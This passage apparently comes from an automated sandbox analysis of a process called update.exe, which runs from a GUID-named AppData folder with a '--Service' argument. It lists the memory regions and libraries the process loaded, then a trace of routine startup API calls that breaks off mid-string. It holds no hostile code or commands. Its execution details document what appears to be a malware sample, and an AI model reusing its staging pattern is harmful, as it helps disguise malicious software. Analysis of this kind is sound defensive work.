"private_0x0000000000030000" filename = "" Region: id = 2769 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2770 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2771 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2772 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2773 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") Region: id = 2774 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2775 start_va = 0x77a90000 end_va = 0x77c0ffff entry_point = 0x77a90000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2776 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2777 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2778 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 2779 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 2780 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 2781 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 2782 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 2784 start_va = 0x2a0000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2785 start_va = 0x73ff0000 end_va = 0x7404bfff entry_point = 0x73ff0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2786 start_va = 0x754a0000 end_va = 0x754a7fff entry_point = 0x754a0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2787 start_va = 0x754b0000 end_va = 0x754eefff entry_point = 0x754b0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2794 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2795 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2796 start_va = 0x5a0000 end_va = 0x69ffff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2797 start_va = 0x755e0000 end_va = 0x755ebfff entry_point = 0x755e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2798 start_va = 0x755f0000 end_va = 0x7564ffff entry_point = 0x755f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2799 start_va = 0x75720000 end_va = 0x757bffff entry_point = 0x75720000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2800 start_va = 0x75b30000 end_va = 0x75bccfff entry_point = 0x75b30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2801 start_va = 0x75d90000 end_va = 0x75e3bfff entry_point = 0x75d90000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2802 start_va = 0x75e40000 end_va = 0x75e49fff entry_point = 0x75e40000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2803 start_va = 0x75e50000 end_va = 0x75f4ffff entry_point = 0x75e50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2804 start_va = 0x75f50000 end_va = 0x75f95fff entry_point = 0x75f50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2805 start_va = 0x76ea0000 end_va = 0x76eb8fff entry_point = 0x76ea0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2806 start_va = 0x77150000 end_va = 0x7723ffff entry_point = 0x77150000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2807 start_va = 0x77290000 end_va = 0x7731ffff entry_point = 0x77290000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2808 start_va = 0x773e0000 end_va = 0x774effff entry_point = 0x773e0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2809 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x0 region_type = private name = "private_0x0000000077690000" filename = "" Region: id = 2810 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x0 region_type = private name = "private_0x00000000777b0000" filename = "" Region: id = 2811 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2812 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2813 start_va = 0x753a0000 end_va = 0x753a4fff entry_point = 0x753a0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 2816 start_va = 0x7e0000 end_va = 0x7effff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 2817 start_va = 0x7f0000 end_va = 0x977fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2818 start_va = 0x75650000 end_va = 0x7571bfff entry_point = 0x75650000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2819 start_va = 0x75d30000 end_va = 0x75d8ffff entry_point = 0x75d30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2820 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2821 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2822 start_va = 0x980000 end_va = 0xb00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 2823 start_va = 0xb10000 end_va = 0x1f0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 2824 start_va = 0x1f10000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 2871 start_va = 0x210000 end_va = 0x25efff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2874 start_va = 0x75380000 end_va = 0x75391fff entry_point = 0x75380000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2875 start_va = 0x75bd0000 end_va = 0x75cc4fff entry_point = 0x75bd0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2876 start_va = 0x76e40000 end_va = 0x76e96fff entry_point = 0x76e40000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2877 start_va = 0x76ec0000 end_va = 0x76ff5fff entry_point = 0x76ec0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2878 start_va = 0x75810000 end_va = 0x7596bfff entry_point = 0x75810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2879 start_va = 0x77000000 end_va = 0x7708efff entry_point = 0x77000000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2880 start_va = 0x75980000 end_va = 0x75a9cfff entry_point = 0x75980000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2881 start_va = 0x75970000 end_va = 0x7597bfff entry_point = 0x75970000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2882 start_va = 0x76c40000 end_va = 0x76e3afff entry_point = 0x76c40000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2883 start_va = 0x75340000 end_va = 0x75371fff entry_point = 0x75340000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2884 start_va = 0x75fa0000 end_va = 0x76be9fff entry_point = 0x75fa0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2885 start_va = 0x75320000 end_va = 0x7533bfff entry_point = 0x75320000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2886 start_va = 0x77a60000 end_va = 0x77a65fff entry_point = 0x77a60000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2887 start_va = 0x75310000 end_va = 0x75316fff entry_point = 0x75310000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2888 start_va = 0x757d0000 end_va = 0x75804fff entry_point = 0x757d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2889 start_va = 0x320000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2890 start_va = 0x752c0000 end_va = 0x75303fff entry_point = 0x752c0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2891 start_va = 0x4a0000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2892 start_va = 0x75200000 end_va = 0x752befff entry_point = 0x75200000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 2895 start_va = 0x6a0000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 2896 start_va = 0x770c0000 end_va = 0x770c4fff entry_point = 0x770c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Thread: id = 145 os_tid = 0x4ac [0124.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xd0a56cd0, dwHighDateTime=0x1d4800f)) [0124.407] GetCurrentProcessId () returned 0x494 [0124.407] GetCurrentThreadId () returned 0x4ac [0124.407] GetTickCount () returned 0xbedb [0124.407] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1809396200000) returned 1 [0124.407] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0124.409] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.409] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0124.409] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0124.409] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0124.409] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0124.410] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.410] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.410] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.410] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.411] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.411] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.411] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.411] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.412] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.412] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0124.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.413] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0124.413] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0124.413] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.413] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0124.413] GetCurrentThreadId () returned 0x4ac [0124.413] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0124.413] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0124.413] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0124.413] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0124.413] SetHandleCount (uNumber=0x20) returned 0x20 [0124.414] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.414] GetEnvironmentStringsW () returned 0x5b25f0* [0124.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0124.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x20611f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0124.414] FreeEnvironmentStringsW (penv=0x5b25f0) returned 1 [0124.414] GetLastError () returned 0x0 [0124.414] SetLastError (dwErrCode=0x0) [0124.414] GetLastError () returned 0x0 [0124.414] SetLastError (dwErrCode=0x0) [0124.414] GetLastError () returned 0x0 [0124.414] SetLastError (dwErrCode=0x0) [0124.415] GetACP () returned 0x4e4 [0124.415] GetLastError () returned 0x0 [0124.415] SetLastError (dwErrCode=0x0) [0124.415] IsValidCodePage (CodePage=0x4e4) returned 1 [0124.415] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.415] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0124.415] GetLastError () returned 0x0 [0124.415] SetLastError (dwErrCode=0x0) [0124.415] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0124.415] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0124.415] GetLastError () returned 0x0 [0124.415] SetLastError (dwErrCode=0x0) [0124.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā") returned 256 [0124.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0124.415] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿһﹲ뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0124.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x